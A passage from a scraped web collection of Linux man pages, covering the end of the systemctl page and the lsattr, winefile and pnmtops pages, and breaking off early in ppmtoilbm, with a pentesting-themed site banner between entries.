Select what type of per-unit resources to remove when the clean command is invoked, see above. Takes one of configuration, state, cache, logs, runtime, fdstore to select the type of resource. This option may be specified more than once, in which case all specified resource types are removed. Also accepts the special value all as a shortcut for specifying all six resource types. If this option is not specified defaults to the combination of cache, runtime and fdstore, i.e. the three kinds of resources that are generally considered to be redundant and can be reconstructed on next invocation. Note that the explicit removal of the fdstore resource type is only useful if the FileDescriptorStorePreserve= option is enabled, since the file descriptor store is otherwise cleaned automatically when the unit is stopped.

Added in version 243.

-f, –force

When used with enable, overwrite any existing conflicting symlinks.

When used with edit, create all of the specified units which do not already exist.

When used with suspend, hibernate, hybrid-sleep, or suspend-then-hibernate, the error returned by systemd-logind will be ignored, and the operation will be performed directly through starting the corresponding units.

When used with halt, poweroff, reboot, or kexec, execute the selected operation without shutting down all units. However, all processes will be killed forcibly and all file systems are unmounted or remounted read-only. This is hence a drastic but relatively safe option to request an immediate reboot. If –force is specified twice for these operations (with the exception of kexec), they will be executed immediately, without terminating any processes or unmounting any file systems.

Warning

Specifying –force twice with any of these operations might result in data loss. Note that when –force is specified twice the selected operation is executed by systemctl itself, and the system manager is not contacted. This means the command should succeed even when the system manager has crashed.

–message=

When used with halt, poweroff or reboot, set a short message explaining the reason for the operation. The message will be logged together with the default shutdown message.

Added in version 225.

–now

When used with enable, the units will also be started. When used with disable or mask, the units will also be stopped. The start or stop operation is only carried out when the respective enable or disable operation has been successful.

Added in version 220.

–root=

When used with enable/disable/is-enabled (and related commands), use the specified root path when looking for unit files. If this option is present, systemctl will operate on the file system directly, instead of communicating with the systemd daemon to carry out changes.

**–image=**image

Takes a path to a disk image file or block device node. If specified, all operations are applied to file system in the indicated disk image. This option is similar to –root=, but operates on file systems stored in disk images or block devices. The disk image should either contain just a file system or a set of file systems within a GPT partition table, following the Discoverable Partitions Specification[2]. For further information on supported disk images, see systemd-nspawn(1)s switch of the same name.

Added in version 252.

**–image-policy=**policy

Takes an image policy string as argument, as per systemd.image-policy(7). The policy is enforced when operating on the disk image specified via –image=, see above. If not specified defaults to the “*” policy, i.e. all recognized file systems in the image are used.

–runtime

When used with enable, disable, edit, (and related commands), make changes only temporarily, so that they are lost on the next reboot. This will have the effect that changes are not made in subdirectories of /etc/ but in /run/, with identical immediate effects, however, since the latter is lost on reboot, the changes are lost too.

Similarly, when used with set-property, make changes only temporarily, so that they are lost on the next reboot.

–preset-mode=

Takes one of “full” (the default), “enable-only”, “disable-only”. When used with the preset or preset-all commands, controls whether units shall be disabled and enabled according to the preset rules, or only enabled, or only disabled.

Added in version 215.

-n, –lines=

When used with status, controls the number of journal lines to show, counting from the most recent ones. Takes a positive integer argument, or 0 to disable journal output. Defaults to 10.

-o, –output=

When used with status, controls the formatting of the journal entries that are shown. For the available choices, see journalctl(1). Defaults to “short”.

–firmware-setup

When used with the reboot, poweroff, or halt command, indicate to the systems firmware to reboot into the firmware setup interface for the next boot. Note that this functionality is not available on all systems.

Added in version 220.

**–boot-loader-menu=**timeout

When used with the reboot, poweroff, or halt command, indicate to the systems boot loader to show the boot loader menu on the following boot. Takes a time value as parameter — indicating the menu timeout. Pass zero in order to disable the menu timeout. Note that not all boot loaders support this functionality.

Added in version 242.

**–boot-loader-entry=**ID

When used with the reboot, poweroff, or halt command, indicate to the systems boot loader to boot into a specific boot loader entry on the following boot. Takes a boot loader entry identifier as argument, or “help” in order to list available entries. Note that not all boot loaders support this functionality.

Added in version 242.

–reboot-argument=

This switch is used with reboot. The value is architecture and firmware specific. As an example, “recovery” might be used to trigger system recovery, and “fota” might be used to trigger a “firmware over the air” update.

Added in version 246.

–plain

When used with list-dependencies, list-units or list-machines, the output is printed as a list instead of a tree, and the bullet circles are omitted.

Added in version 203.

–timestamp=

Change the format of printed timestamps. The following values may be used:

pretty (this is the default)

“Day YYYY-MM-DD HH:MM:SS TZ”

Added in version 248.

unix

“@seconds-since-the-epoch”

Added in version 251.

us, μs

“Day YYYY-MM-DD HH:MM:SS.UUUUUU TZ”

Added in version 248.

utc

“Day YYYY-MM-DD HH:MM:SS UTC”

Added in version 248.

us+utc, μs+utc

“Day YYYY-MM-DD HH:MM:SS.UUUUUU UTC”

Added in version 248.

Added in version 247.

–mkdir

When used with bind, creates the destination file or directory before applying the bind mount. Note that even though the name of this option suggests that it is suitable only for directories, this option also creates the destination file node to mount over if the object to mount is not a directory, but a regular file, device node, socket or FIFO.

Added in version 248.

–marked

Only allowed with reload-or-restart. Enqueues restart jobs for all units that have the “needs-restart” mark, and reload jobs for units that have the “needs-reload” mark. When a unit marked for reload does not support reload, restart will be queued. Those properties can be set using set-property Markers=….

Unless –no-block is used, systemctl will wait for the queued jobs to finish.

Added in version 248.

–read-only

When used with bind, creates a read-only bind mount.

Added in version 248.

**–drop-in=**NAME

When used with edit, use NAME as the drop-in file name instead of override.conf.

Added in version 253.

–when=

When used with halt, poweroff, reboot or kexec, schedule the action to be performed at the given timestamp, which should adhere to the syntax documented in systemd.time(7) section “PARSING TIMESTAMPS”. Specially, if “show” is given, the currently scheduled action will be shown, which can be canceled by passing an empty string or “cancel”.

Added in version 254.

–stdin

When used with edit, the contents of the file will be read from standard input and the editor will not be launched. In this mode, the old contents of the file are completely replaced. This is useful to “edit” unit files from scripts:

$ systemctl edit –drop-in=limits.conf –stdin some-service.service «EOF [Unit] AllowedCPUs=7,11 EOF

Multiple drop-ins may be “edited” in this mode; the same contents will be written to all of them.

Added in version 256.

-H, –host=

Execute the operation remotely. Specify a hostname, or a username and hostname separated by “@”, to connect to. The hostname may optionally be suffixed by a port ssh is listening on, separated by “:”, and then a container name, separated by “/”, which connects directly to a specific container on the specified host. This will use SSH to talk to the remote machine manager instance. Container names may be enumerated with machinectl -H HOST. Put IPv6 addresses in brackets.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

-C, –capsule=

Execute operation on a capsule. Specify a capsule name to connect to. See [email protected](5) for details about capsules.

Added in version 256.

–no-pager

Do not pipe output into a pager.

**–legend=**BOOL

Enable or disable printing of the legend, i.e. column headers and the footer with hints. The legend is printed by default, unless disabled with –quiet or similar.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

systemctl uses the return codes defined by LSB, as defined in LSB 3.0.0[3].

Table 4. LSB return codes

ValueDescription in LSBUse in systemd
0"program is running or service is OK"unit is active
1"program is dead and /var/run pid file exists"unit not failed (used by is-failed)
2"program is dead and /var/lock lock file exists"unused
3"program is not running"unit is not active
4"program or service status is unknown"no such unit

The mapping of LSB service states to systemd unit states is imperfect, so it is better to not rely on those return values but to look for specific unit states and substates instead.

ENVIRONMENT

$SYSTEMD_EDITOR

Editor to use when editing units; overrides $EDITOR and $VISUAL. If neither $SYSTEMD_EDITOR nor $EDITOR nor $VISUAL are present or if it is set to an empty string or if their execution failed, systemctl will try to execute well known editors in this order: editor(1), nano(1), vim(1), vi(1).

Added in version 218.

$SYSTEMD_LOG_LEVEL

The maximum log level of emitted messages (messages with a higher log level, i.e. less important ones, will be suppressed). Takes a comma-separated list of values. A value may be either one of (in order of decreasing importance) emerg, alert, crit, err, warning, notice, info, debug, or an integer in the range 0…7. See syslog(3) for more information. Each value may optionally be prefixed with one of console, syslog, kmsg or journal followed by a colon to set the maximum log level for that specific log target (e.g. SYSTEMD_LOG_LEVEL=debug,console:info specifies to log at debug level except when logging to the console which should be at info level). Note that the global maximum log level takes priority over any per target maximum log levels.

$SYSTEMD_LOG_COLOR

A boolean. If true, messages written to the tty will be colored according to priority.

This setting is only useful when messages are written directly to the terminal, because journalctl(1) and other tools that display logs will color messages based on the log level on their own.

$SYSTEMD_LOG_TIME

A boolean. If true, console log messages will be prefixed with a timestamp.

This setting is only useful when messages are written directly to the terminal or a file, because journalctl(1) and other tools that display logs will attach timestamps based on the entry metadata on their own.

$SYSTEMD_LOG_LOCATION

A boolean. If true, messages will be prefixed with a filename and line number in the source code where the message originates.

Note that the log location is often attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TARGET

The destination for log messages. One of console (log to the attached tty), console-prefixed (log to the attached tty but with prefixes encoding the log level and “facility”, see syslog(3), kmsg (log to the kernel circular log buffer), journal (log to the journal), journal-or-kmsg (log to the journal if available, and to kmsg otherwise), auto (determine the appropriate log target automatically, the default), null (disable log output).

$SYSTEMD_PAGER

Pager to use when –no-pager is not given; overrides $PAGER. If neither $SYSTEMD_PAGER nor $PAGER are set, a set of well-known pager implementations are tried in turn, including less(1) and more(1), until one is found. If no pager implementation is discovered no pager is invoked. Setting this environment variable to an empty string or the value “cat” is equivalent to passing –no-pager.

Note: if $SYSTEMD_PAGERSECURE is not set, $SYSTEMD_PAGER (as well as $PAGER) will be silently ignored.

$SYSTEMD_LESS

Override the options passed to less (by default “FRSXMK”).

Users might want to change two options in particular:

K

This option instructs the pager to exit immediately when Ctrl+C is pressed. To allow less to handle Ctrl+C itself to switch back to the pager command prompt, unset this option.

If the value of $SYSTEMD_LESS does not include “K”, and the pager that is invoked is less, Ctrl+C will be ignored by the executable, and needs to be handled by the pager.

X

This option instructs the pager to not send termcap initialization and deinitialization strings to the terminal. It is set by default to allow command output to remain visible in the terminal even after the pager exits. Nevertheless, this prevents some pager functionality from working, in particular paged output cannot be scrolled with the mouse.

Note that setting the regular $LESS environment variable has no effect for less invocations by systemd tools.

See less(1) for more discussion.

$SYSTEMD_LESSCHARSET

Override the charset passed to less (by default “utf-8”, if the invoking terminal is determined to be UTF-8 compatible).

Note that setting the regular $LESSCHARSET environment variable has no effect for less invocations by systemd tools.

$SYSTEMD_PAGERSECURE

Takes a boolean argument. When true, the “secure” mode of the pager is enabled; if false, disabled. If $SYSTEMD_PAGERSECURE is not set at all, secure mode is enabled if the effective UID is not the same as the owner of the login session, see geteuid(2) and sd_pid_get_owner_uid(3). In secure mode, LESSSECURE=1 will be set when invoking the pager, and the pager shall disable commands that open or create new files or start new subprocesses. When $SYSTEMD_PAGERSECURE is not set at all, pagers which are not known to implement secure mode will not be used. (Currently only less(1) implements secure mode.)

Note: when commands are invoked with elevated privileges, for example under sudo(8) or pkexec(1), care must be taken to ensure that unintended interactive features are not enabled. “Secure” mode for the pager may be enabled automatically as describe above. Setting SYSTEMD_PAGERSECURE=0 or not removing it from the inherited environment allows the user to invoke arbitrary commands. Note that if the $SYSTEMD_PAGER or $PAGER variables are to be honoured, $SYSTEMD_PAGERSECURE must be set too. It might be reasonable to completely disable the pager using –no-pager instead.

$SYSTEMD_COLORS

Takes a boolean argument. When true, systemd and related utilities will use colors in their output, otherwise the output will be monochrome. Additionally, the variable can take one of the following special values: “16”, “256” to restrict the use of colors to the base 16 or 256 ANSI colors, respectively. This can be specified to override the automatic decision based on $TERM and what the console is connected to.

$SYSTEMD_URLIFY

The value must be a boolean. Controls whether clickable links should be generated in the output for terminal emulators supporting this. This can be specified to override the decision that systemd makes based on $TERM and other conditions.

SEE ALSO

systemd(1), journalctl(1), loginctl(1), machinectl(1), systemd.unit(5), systemd.resource-control(5), systemd.special(7), wall(1), systemd.preset(5), systemd.generator(7), glob(7)

NOTES

Boot Loader Specification

https://uapi-group.org/specifications/specs/boot_loader_specification

Discoverable Partitions Specification

https://uapi-group.org/specifications/specs/discoverable_partitions_specification

LSB 3.0.0

http://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/iniscrptact.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1120 - Linux cli command lsattr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lsattr and provides detailed information about the command lsattr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lsattr.

NAME 🖥️ lsattr 🖥️

list ext2/ext3/ext4 file attributes

SYNOPSIS

lsattr [ -RVadlpv ] [ files… ]

DESCRIPTION

lsattr lists the file attributes on an ext2/ext3/ext4 file system. See chattr(1) for a description of the attributes and what they mean.

OPTIONS

-R
Recursively list attributes of directories and their contents.

-V
Display the program version.

-a
List all files in directories, including files that start with `.'.

-d
List directories like other files, rather than listing their contents.

-l
Print the options using long names instead of single character abbreviations.

-p
List the file’s project number.

-v
List the file’s version/generation number.

AUTHOR

lsattr was written by Remy Card <[email protected]>. It is currently being maintained by Theodore Ts’o <[email protected]>.

BUGS

There are none :-).

AVAILABILITY

lsattr is part of the e2fsprogs package and is available from http://e2fsprogs.sourceforge.net.

SEE ALSO

chattr(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1121 - Linux cli command winefile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winefile and provides detailed information about the command winefile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winefile.

NAME 🖥️ winefile 🖥️

Wine File Manager

SYNOPSIS

winefile* path*

DESCRIPTION

winefile is the Wine file manager, with a similar design to early Microsoft Windows explorer.

USAGE

You can pass winefile either a Unix or Win32 path, for example:

Using a Unix path: winefile /mnt/hda1

Using a Win32 path: “winefileC:\windows\

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

winefile is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1122 - Linux cli command pnmtops

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtops and provides detailed information about the command pnmtops, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtops.

.

NAME 🖥️ pnmtops 🖥️

convert PNM image to Postscript

SYNOPSIS

pnmtops [-scale=s] [-dpi=N[xN]] [-imagewidth=n] [-imageheight=n] [-width=N] [-height=N] [-equalpixels**] [-bitspersample=N] [-turn|-noturn] [-rle|-runlength] [-flate] [-ascii85] [-nocenter|-center] [-nosetpage|-setpage] [-level=N] [-dict] [-vmreclaim] [-psfilter] [-noshowpage] [-verbose] [pnmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pnmtops reads a Netpbm image stream as input and produces Encapsulated Postscript (EPSF) as output.

(Note: people usually render the name as “PostScript,” but we use standard typography in the Netpbm manual, so capitalize only the first letter).

If the input file is in color (PPM), pnmtops generates a color Postscript file. Some Postscript interpreters can’t handle color Postscript. If you have one of these you will need to run your image through ppmtopgm first.

If you specify no output dimensioning options, the output image is dimensioned as if you had specified -scale=1.0, which means approximately 72 pixels of the input image generate one inch of output (if that fits the page).

Use -imagewidth, -imageheight, -equalpixels, -width, -height, and -scale to adjust that.

Each image in the input stream becomes one complete one-page Postscript program in the output. (This may not be the best way to create a multi-page Postscript stream; someone who knows Postscript should work on this).

The line at the top of the file produced by pnmtops is either “%!PS-Adobe-3.0 EPSF-3.0” or just “%!PS-Adobe-3.0”. The numbers do not reflect the Postscript language level, but the version of the DSC comment specification and EPS specification implemented. The Postscript language level is in the “%%LanguageLevel:” comment. pnmtops omits “EPSF-3.0” if you specify -setpage, because it is incorrect to claim EPS compliance if the file uses setpagedevice.

What is Encapsulated Postscript?

Encapsulated Postscript (EPSF) is a subset of Postscript (i.e. the set of streams that conform to EPSF is a subset of those that conform to Postscript). It is designed so that an EPSF stream can be embedded in another Postscript stream. A typical reason to do that is to have an EPSF stream that describes a picture you can put in a larger document.

But EPSF is not an image format – converting from Netpbm format to EPSF really means generating a program to print that Netpbm image on paper. Note that there are myriad ways to print an image on paper; pnmtops command line options let you control some of them.

An Encapsulated Postscript document conforms to the DSC (Document Structuring Convention). The DSC defines some Postscript comments (they’re comments from a Postscript point of view, but have semantic value from a DSC point of view).

More information about Encapsulated Postscript is at " http://www.tailrecursive.org/postscript/eps.html" (1) .

Many of the ideas in pnmtops come from Dirk Krause’s bmeps. See SEE ALSO .

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtops recognizes the following command line options:

-imagewidth, -imageheight
Tells how wide and high you want the image on the page, in inches. The aspect ratio of the image is preserved, so if you specify both of these, the image on the page will be the largest image that will fit within the box of those dimensions.

If these dimensions are greater than the page size, you get Postscript output that runs off the page.

You cannot use imagewidth or imageheight with -scale or -equalpixels.

-equalpixels
This option causes the output image to have the same number of pixels as the input image. So if the output device is 600 dpi and your image is 3000 pixels wide, the output image would be 5 inches wide.

You cannot use -equalpixels with -imagewidth, -imageheight, or -scale.

-bitspersample=N
This option selects the number of bits for each component of each pixel in the Postscript output. By default, pnmtops chooses the value that corresponds to the maxval of the PNM input, subject to constraints of the Postscript language. In particular, if you don’t select Postscript level 2 (
-level
) with built-in Postscript (-psfilter), the most bits per pixel you can have is 8.

The value must be 1, 2, 4, 8, or 12, with 12 being restricted to the case described above.

This option was new in Netpbm 10.51 (June 2010).

-scale
tells how big you want the image on the page. The value is the number of inches of output image that you want 72 pixels of the input to generate.

But pnmtops rounds the number to something that is an integral number of output device pixels. E.g. if the output device is 300 dpi and you specify -scale=1.0, then 75 (not 72) pixels of input becomes one inch of output (4 output pixels for each input pixel). Note that the -dpi option tells pnmtops how many pixels per inch the output device generates.

If the size so specified does not fit on the page (as measured either by the -width and -height options or the default page size of 8.5 inches by 11 inches), pnmtops ignores the -scale option, issues a warning, and scales the image to fit on the page.

**-dpi=N[xN]
This option specifies the dots per inch resolution of your output device. The default is 300 dpi. In theory PostScript is device-independent and you don’t have to worry about this, but in practice its raster rendering can have unsightly bands if the device pixels and the image pixels aren’t in sync.

Also this option is crucial to the working of the equalpixels option.

If you specify NxN, the first number is the horizontal resolution and the second number is the vertical resolution. If you specify just a single number N, that is the resolution in both directions.

-width, -height
These options specify the dimensions, in inches, of the page on which the output is to be printed. This can affect the size of the output image.

The page size has no effect, however, when you specify the -imagewidth, -imageheight, or -equalpixels options.

These options may also affect positioning of the image on the page and even the paper selected (or cut) by the printer/plotter when the output is printed. See the -nosetpage option.

The default is 8.5 inches by 11 inches.

-turn
-noturn
These options control whether the image gets turned 90 degrees. Normally, if an image fits the page better when turned (e.g. the image is wider than it is tall, but the page is taller than it is wide), it gets turned automatically to better fit the page. If you specify the -turn option, pnmtops turns the image no matter what its shape; If you specify -noturn, pnmtops does not turn it no matter what its shape.

-rle
-runlength
These identical options tell pnmtops to use run length compression in encoding the image in the Postscript program. This may save time if the host-to-printer link is slow; but normally the printer’s processing time dominates, so -rle has no effect (and in the absence of buffering, may make things slower).

This may, however, make the Postscript program considerable smaller.

This usually doesn’t help at all with a color image and -psfilter, because in that case, the Postscript program pnmtops creates has the red, green, and blue values for each pixel together, which means you would see long runs of identical bytes only in the unlikely event that the red, green, and blue values for a bunch of adjacent pixels are all the same. But without -psfilter, the Postscript program has all the red values, then all the green values, then all the blue values, so long runs appear wherever there are long stretches of the same color.

Here is an explanation by Jef Poskanzer of why he invented the -rle option:

I just spent a few hours modifying my pbmtops filter to produce run length encoded PostScript output. The results are not spectacular for me - yes, the files are smaller, but the printing times are about the same. But I’m printing over the network. If you were stuck with the serial line, this would be a big win. I’ve appended a sample program generated by my filter. If anyone sees ways to improve the code, please let me know, I’m not much of a PostScript hacker. This version of pbmtops will be distributed to comp.sources.misc and expo.lcs.mit.edu sometime in October. - Jef

This is from a forum about Postscript (http://www.lngpstscrpt.tk/re-postscript-run-length-encoding-again), extracted in October 2010. Jef added -rle in August 1988. In those days, RS-232 lines (referred to as “serial” in the quotation) were typically 9600bps. 2400 bps lines were still around. What the quotation calls “the network” is probably a 10 Mbps Ethernet connection.

-flate
This option tells pnmtops to use “flate” compression (i.e. compression via the “Z” library – the same as PNG).

See the -rle option for information about compression in general.

You must specify -psfilter if you specify -flate.

There exist modern versions of pnmtops that cannot do flate compression; these versions were built without the Z library and built not to require the Z library. If you have such a version, it fails with an explanatory error message when you specify -flate.

This option was new in Netbpm 10.27 (March 2005).

Before Netpbm 10.32 (February 2006), you could not specify -rle and -flate together.

-ascii85
By default, pnmtops uses “asciihex” encoding of the image raster. The image raster is a stream of bits, while a Postscript program is text, so there has to be an encoding from bits to text. Asciihex encoding is just the common hexadecimal representation of bits. E.g. 8 1 bits would be encoded as the two characters “FF”.

With the -ascii85 option, pnmtops uses “ascii85” encoding instead. This is an encoding in which 32 bits are encoded into five characters of text. Thus, it produces less text for the same raster than asciihex. But ascii85 is not available in Postscript Level 1, whereas asciihex is.

This option was new in Netbpm 10.27 (March 2005).

-psfilter
pnmtops can generate two different kinds of Encapsulated Postscript programs to represent an image. By default, it generates a program that redefines readstring in a custom manner and doesn’t rely on any built-in Postscript filters. But with the -psfilter option, pnmtops leaves readstring alone and uses the built-in Postscript filters /ASCII85Decode, /ASCIIHexDecode, /RunLengthDecode, and /FlateDecode.

This option was new in Netbpm 10.27 (March 2005). Before that, pnmtops always used the custom readstring.

The custom code can’t do flate or ascii85 encoding, so you must use -psfilter if you want those (see -flate, -ascii85).

-level
This option determines the level (version number) of Postscript that pnmtops uses. By default, pnmtops uses Level 2. Some features of pnmtops are available only in higher Postscript levels, so if you specify too low a level for your image and your options, pnmtops fails. For example, pnmtops cannot do a color image in Level 1.

This option was new in Netpbm 10.27 (March 2005). Before that, pnmtops always used Level 2.

-dict
This causes the Postscript program create a separated dictionary for its local variables and remove it from the stack as it exits.

This option was new in Netbpm 10.27 (March 2005).

-vmreclaim
This option causes the Postscript program to force a memory garbage collection as it exits.

This option was new in Netbpm 10.27 (March 2005).

-nocenter
By default, pnmtops centers the image on the output page. You can cause pnmtops to instead put the image against the lower left corner of the page with the -nocenter option. This is useful for programs which can include PostScript files, but can’t cope with pictures which are not positioned in the lower left corner.

If you want to position an image on the page arbitrarily, use pamcomp to create an image of the full page with the image in question at the proper place and the rest of the page white, and use pnmtops to convert the composed result to Encapsulated Postscript.

For backward compatibility, pnmtops accepts the option -center, but it has no effect.

-setpage
This causes pnmtops to include a “setpagedevice” directive in the output. This causes the output to violate specifications of EPSF encapsulated Postscript, but if you’re not using it in an encapsulated way, may be what you need. The directive tells the printer/plotter what size paper to use (or cut). The dimensions it specifies on this directive are those selected by the -width and -height options or defaulted.

From January through May 2002, the default was to include “setpagedevice” and this option did not exist. Before January 2002, there was no way to include “setpagedevice” and neither the -setpage nor -nosetpage option existed.

-nosetpage
This tells pnmtops not to include a “setpagedevice” directive in the output. This is the default, so the option has no effect.

See the -setpage option for the history of this option.

-noshowpage
This tells pnmtops not to include a “showpage” directive in the output. By default, pnmtops includes a “showpage” at the end of the EPSF program. According to EPSF specs, this is OK, and the program that includes the EPSF is supposed to redefine showpage so this doesn’t cause undesirable behavior. But it’s often easier just not to have the showpage.

This options was new in Netpbm 10.27 (March 2005). Earlier versions of pnmtops always include the showpage.

-showpage
This tells pnmtops to include a “showpage” directive at the end of the EPSF output. This is the default, so the option has no effect.

This option was new in Netpbm 10.27 (March 2005).

-verbose
This causes informational messages about the conversion process and result.

LIMITATIONS

If the PNM image has a maxval greater than 255, pnmtops will produce output with 8 bits per sample resolution unless you specify -psfilter, even though Postscript Level 2 has a 12 bits per sample format. pnmtops’s custom raster-generating code just doesn’t know the 12 bit format.

APPLICATIONS

You can use the Postscript output a number of ways. Many printers take Postscript input (but you still need some kind of printer driver to transport the Postscript to the printer).

There is also the Ghostscript program (not part of Netpbm), which takes Postscript as input and generates an output stream to control any of myriad models of printer (but you still need some kind of printer driver to transport that stream to the printer).

Ghostscript also can convert the Postscript file to PDF, which is a very popular document and image format. Use Ghostscript’s pdfwrite output device type. The program ps2pdf (distributed with Ghostscript) is a convenient way to run Ghostscript with pdfwrite. For more information about converting to and from PDF, see Document/Graphics Software .

SEE ALSO

bmpp(1) converts from Netpbm and other formats to Encapsulated Postscript.

bmpp has a few functions pnmtops does not, such as the ability to use LZW compression.

pnm(1) , gs, psidtopgm(1) , pstopnm(1) , pbmtolps(1) , pbmtoepsi(1) , pbmtopsg3(1) , ppmtopgm(1) ,

HISTORY

Copyright (C) 1989, 1991 by Jef Poskanzer.

Modified November 1993 by Wolfgang Stuerzlinger, [email protected]

The program was originally pbmtops. It became pgmtops in October 1988 and was merged with ppmtops to form pnmtops in January 1991. ppmtops came into being some time before September 1989.

Table Of Contents

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtops.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1123 - Linux cli command ppmtoilbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoilbm and provides detailed information about the command ppmtoilbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoilbm.

.

NAME 🖥️ ppmtoilbm 🖥️

convert a PPM image into an ILBM file

SYNOPSIS

ppmtoilbm

[-maxplanes|-mp N]

[-fixplanes|-fp N]

[-ham6|-ham8]

[{-dcbits|-dcplanes} r g b]

[ -normal|-hamif|-hamforce|-24if|-24force| -dcif|-dcforce|-cmaponly ]

[-ecs|-aga]

[-compress|-nocompress]

[-cmethod type]

[-map ppmfile]

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoilbm reads a PPM image as input. Produces an ILBM file as output. ppmtoilbm understands the following ILBM types:

  • Normal ILBMs with 1-16 planes

  • Amiga HAM with 3-16 planes

  • 24 bit

